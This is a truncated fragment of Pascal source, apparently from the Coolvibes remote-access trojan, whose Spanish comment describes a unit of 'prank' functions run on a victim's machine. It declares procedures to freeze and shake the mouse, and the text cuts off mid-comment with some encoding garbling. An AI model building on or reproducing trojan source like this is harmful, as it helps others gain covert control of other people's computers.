unitbromas.pas

Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制

{Unit perteneciente al troyano Coolvibes que contiene todas las funciones
para relaizar distintos tipos de bromas en el sistema remoto}
unit UnitBromas;

interface

uses
  Windows,
  UnitFunciones;

  procedure CongelarMouse(Bool : Boolean);
  procedure TemblarMouse(Bool : Boolean);

implementation

var
  MouseIsCongelado : Boolean  = False;
  MouseIsTemblando : Boolean = False;

procedure CongelarMouse(Bool : Boolean);
  //Esta funci髇 est